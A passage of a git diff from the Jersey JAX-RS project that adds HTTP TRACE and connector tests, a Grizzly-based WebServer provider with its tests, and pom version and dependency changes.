+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+ /**
+ * Programmatic tracing root resource path.
+ */
+ public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+ /**
+ * Annotated class-based tracing root resource path.
+ */
+ public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+ @HttpMethod(TRACE.NAME)
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ public @interface TRACE {
+ public static final String NAME = "TRACE";
+ }
+
+ @Path(ROOT_PATH_ANNOTATED)
+ public static class TracingResource {
+
+ @TRACE
+ @Produces("text/plain")
+ public String trace(Request request) {
+ return stringify((ContainerRequest) request);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TracingResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+ resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+ @Override
+ public Response apply(ContainerRequestContext request) {
+ if (request == null) {
+ return Response.noContent().build();
+ } else {
+ return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+ }
+ }
+ });
+
+ return config.registerResources(resourceBuilder.build());
+
+ }
+
+ private String[] expectedFragmentsProgrammatic = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+ };
+ private String[] expectedFragmentsAnnotated = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+ };
+
+ private WebTarget prepareTarget(String path) {
+ final WebTarget target = target();
+ target.register(LoggingFeature.class);
+ return target.path(path);
+ }
+
+ @Test
+ public void testProgrammaticApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsProgrammatic) {
+ assertTrue(
+ // toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment), "Expected fragment '"
+ + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testAnnotatedApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsAnnotated) {
+ assertTrue(responseEntity.contains(expectedFragment),
+ // toLowerCase - http header field names are case insensitive
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testTraceWithEntity() throws Exception {
+ _testTraceWithEntity(false, false);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntity() throws Exception {
+ _testTraceWithEntity(true, false);
+ }
+
+ @Test
+ public void testTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(false, true);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(true, true);
+ }
+
+ private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+ try {
+ WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+ target = target.path(ROOT_PATH_ANNOTATED);
+
+ final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+ Response response;
+ if (!isAsync) {
+ response = target.request().method(TRACE.NAME, entity);
+ } else {
+ response = target.request().async().method(TRACE.NAME, entity).get();
+ }
+
+ fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+ } catch (Exception e) {
+ // OK
+ }
+ }
+
+ private Client getJettyClient() {
+ return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider()));
+ }
+
+
+ public static String stringify(ContainerRequest request) {
+ StringBuilder buffer = new StringBuilder();
+
+ printRequestLine(buffer, request);
+ printPrefixedHeaders(buffer, request.getHeaders());
+
+ if (request.hasEntity()) {
+ buffer.append(request.readEntity(String.class)).append("\n");
+ }
+
+ return buffer.toString();
+ }
+
+ private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+ buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+ }
+
+ private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+ for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+ List<String> val = e.getValue();
+ String header = e.getKey();
+
+ if (val.size() == 1) {
+ buffer.append(header).append(": ").append(val.get(0)).append("\n");
+ } else {
+ StringBuilder sb = new StringBuilder();
+ boolean add = false;
+ for (String s : val) {
+ if (add) {
+ sb.append(',');
+ }
+ add = true;
+ sb.append(s);
+ }
+ buffer.append(header).append(": ").append(sb.toString()).append("\n");
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..8bf9f46
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+
+import java.net.http.HttpClient;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+ @Test
+ public void testHttpClientInstanceAccess() {
+ final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider()));
+ final HttpClient hcOnClient = JavaNetHttpConnectorProvider.getHttpClient(client);
+ // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+ // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+ // connector provider's static getHttpClient method above.
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JavaNetHttpConnectorProvider.getHttpClient(target);
+
+ assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+ assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+ assertSame(hcOnClient, hcOnTarget,
+ "HTTP client instance set on JerseyClient should be the same instance as the one set on JerseyWebTarget"
+ + "(provided the target instance has not been further configured)."
+ );
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/resources/client-identity.jks b/connectors/jnh-connector/src/test/resources/client-identity.jks
new file mode 100644
index 0000000..d3922a1
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/client-identity.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/client-truststore.jks b/connectors/jnh-connector/src/test/resources/client-truststore.jks
new file mode 100644
index 0000000..539185f
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/client-truststore.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-identity.jks b/connectors/jnh-connector/src/test/resources/server-identity.jks
new file mode 100644
index 0000000..76a21aa
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/server-identity.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-truststore.jks b/connectors/jnh-connector/src/test/resources/server-truststore.jks
new file mode 100644
index 0000000..22285ab
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/server-truststore.jks
Binary files differ
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml
index 4e719ec..ff21c9b 100644
--- a/connectors/netty-connector/pom.xml
+++ b/connectors/netty-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-netty-connector</artifactId>
diff --git a/connectors/pom.xml b/connectors/pom.xml
index a48065d..af03399 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.connectors</groupId>
@@ -41,6 +41,8 @@
<module>jdk-connector</module>
<module>jetty-connector</module>
<module>jetty-http2-connector</module>
+ <module>jetty11-connector</module>
+ <module>jnh-connector</module>
<module>netty-connector</module>
</modules>
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml
index d388b7e..f7fea77 100644
--- a/containers/glassfish/jersey-gf-ejb/pom.xml
+++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers.glassfish</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-gf-ejb</artifactId>
@@ -61,6 +61,26 @@
<version>${project.version}</version>
<scope>provided</scope>
</dependency>
+ <!-- TODO remove versions when org.glassfish.exousia:exousia:jar in central-->
+ <dependency>
+ <groupId>org.glassfish.main.ejb</groupId>
+ <artifactId>ejb-container</artifactId>
+ <version>6.0.0</version>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.main.common</groupId>
+ <artifactId>container-common</artifactId>
+ <version>6.0.0</version>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.main.hk2</groupId>
+ <artifactId>hk2-config</artifactId>
+ <version>6.0.0</version>
+ <scope>provided</scope>
+ <optional>true</optional>
+ </dependency>
</dependencies>
<build>
@@ -111,59 +131,4 @@
</plugin>
</plugins>
</build>
-
- <profiles>
- <profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>org.glassfish.main.ejb</groupId>
- <artifactId>ejb-container</artifactId>
- <version>6.0.0</version>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>org.glassfish.main.common</groupId>
- <artifactId>container-common</artifactId>
- <version>6.0.0</version>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>org.glassfish.main.hk2</groupId>
- <artifactId>hk2-config</artifactId>
- <version>6.0.0</version>
- <scope>provided</scope>
- <optional>true</optional>
- </dependency>
- </dependencies>
- </profile>
- <profile>
- <id>jdk11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>org.glassfish.main.ejb</groupId>
- <artifactId>ejb-container</artifactId>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>org.glassfish.main.common</groupId>
- <artifactId>container-common</artifactId>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>org.glassfish.main.hk2</groupId>
- <artifactId>hk2-config</artifactId>
- <scope>provided</scope>
- <optional>true</optional>
- </dependency>
- </dependencies>
- </profile>
- </profiles>
-
-</project>
+ </project>
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml
index e7f1668..7f87c01 100644
--- a/containers/glassfish/pom.xml
+++ b/containers/glassfish/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.containers.glassfish</groupId>
diff --git a/containers/grizzly2-http/pom.xml b/containers/grizzly2-http/pom.xml
index c8a2bb6..580997b 100644
--- a/containers/grizzly2-http/pom.xml
+++ b/containers/grizzly2-http/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-grizzly2-http</artifactId>
@@ -50,6 +50,11 @@
<groupId>org.glassfish.grizzly</groupId>
<artifactId>grizzly-http-server</artifactId>
</dependency>
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <scope>test</scope>
+ </dependency>
<dependency>
<groupId>org.glassfish.grizzly</groupId>
@@ -69,7 +74,7 @@
</dependency>
<dependency>
<groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-http-client-transport</artifactId>
+ <artifactId>jetty-http2-client-transport</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
@@ -102,6 +107,15 @@
<groupId>org.apache.felix</groupId>
<artifactId>maven-bundle-plugin</artifactId>
<inherited>true</inherited>
+ <configuration>
+ <instructions>
+ <Import-Package>
+ org.glassfish.grizzly.*;version="[3.0,5.0)",
+ *
+ </Import-Package>
+ </instructions>
+ <unpackBundle>true</unpackBundle>
+ </configuration>
</plugin>
<plugin>
@@ -136,7 +150,7 @@
<profile>
<id>jdk11</id>
<activation>
- <jdk>[11,)</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<pluginManagement>
@@ -147,35 +161,6 @@
<execution>
<id>default-testCompile</id>
<configuration>
- <source>11</source>
- <target>11</target>
- </configuration>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </pluginManagement>
- </build>
- </profile>
- <profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <build>
- <pluginManagement>
- <plugins>
- <plugin>
- <artifactId>maven-compiler-plugin</artifactId>
- <executions>
- <execution>
- <id>default-testCompile</id>
- <configuration>
- <!--
- Jetty client is not compatible with JDK8, older versions need different setup
- JDK HTTP client is not in JDK8 at all
- Jersey Client doesn't support HTTP/2 (at least not directly)
- -->
<skip>true</skip>
</configuration>
</execution>
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
index d0f65c3..33d3770 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -307,9 +307,16 @@
* @param application JAX-RS / Jersey application to be deployed on Grizzly HTTP container.
*/
/* package */ GrizzlyHttpContainer(final Application application) {
- this.appHandler = new ApplicationHandler(application, new GrizzlyBinder());
- cacheConfigSetStatusOverSendError();
- cacheConfigEnableLeadingContextPathSlashes();
+ this(new ApplicationHandler(application, new GrizzlyBinder()));
+ }
+
+ /**
+ * Create a new Grizzly HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey application to be deployed on Grizzly HTTP container.
+ */
+ /* package */ GrizzlyHttpContainer(final Class<? extends Application> applicationClass) {
+ this(new ApplicationHandler(applicationClass, new GrizzlyBinder()));
}
/**
@@ -319,7 +326,11 @@
* @param parentContext DI provider specific context with application's registered bindings.
*/
/* package */ GrizzlyHttpContainer(final Application application, final Object parentContext) {
- this.appHandler = new ApplicationHandler(application, new GrizzlyBinder(), parentContext);
+ this(new ApplicationHandler(application, new GrizzlyBinder(), parentContext));
+ }
+
+ private GrizzlyHttpContainer(ApplicationHandler applicationHandler) {
+ this.appHandler = applicationHandler;
cacheConfigSetStatusOverSendError();
cacheConfigEnableLeadingContextPathSlashes();
}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java
new file mode 100644
index 0000000..68d7048
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.grizzly.ssl.SSLEngineConfigurator;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Grizzly {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class GrizzlyHttpServer implements WebServer {
+
+ private final GrizzlyHttpContainer container;
+
+ private final HttpServer httpServer;
+
+ GrizzlyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(new GrizzlyHttpContainer(application), configuration);
+ }
+
+ GrizzlyHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new GrizzlyHttpContainer(applicationClass), configuration);
+ }
+
+ private GrizzlyHttpServer(final GrizzlyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SSLContext sslContext = configuration.sslContext();
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+
+ this.container = container;
+ this.httpServer = GrizzlyHttpServerFactory.createHttpServer(
+ configuration.uri(true),
+ this.container,
+ configuration.isHttps(),
+ configuration.isHttps() ? new SSLEngineConfigurator(sslContext, false,
+ sslClientAuthentication == MANDATORY,
+ sslClientAuthentication == OPTIONAL) : null,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final GrizzlyHttpContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ return this.httpServer.getListener("grizzly").getPort();
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.start();
+ } catch (final IOException e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return CompletableFuture.runAsync(this.httpServer::shutdownNow);
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.httpServer);
+ }
+
+}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
new file mode 100644
index 0000000..f9cfac2
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Grizzly {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class GrizzlyHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+ ? type.cast(new GrizzlyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(Class<T> type, Class<? extends Application> applicationClass,
+ SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+ ? type.cast(new GrizzlyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..dea5f90
--- /dev/null
+++ b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerProvider
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
new file mode 100644
index 0000000..1c75de1
--- /dev/null
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link GrizzlyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class GrizzlyHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort());
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(GrizzlyHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(HttpServer.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(GrizzlyHttpContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public final Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(GrizzlyHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldScanFreePort() {
+ // given
+ final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
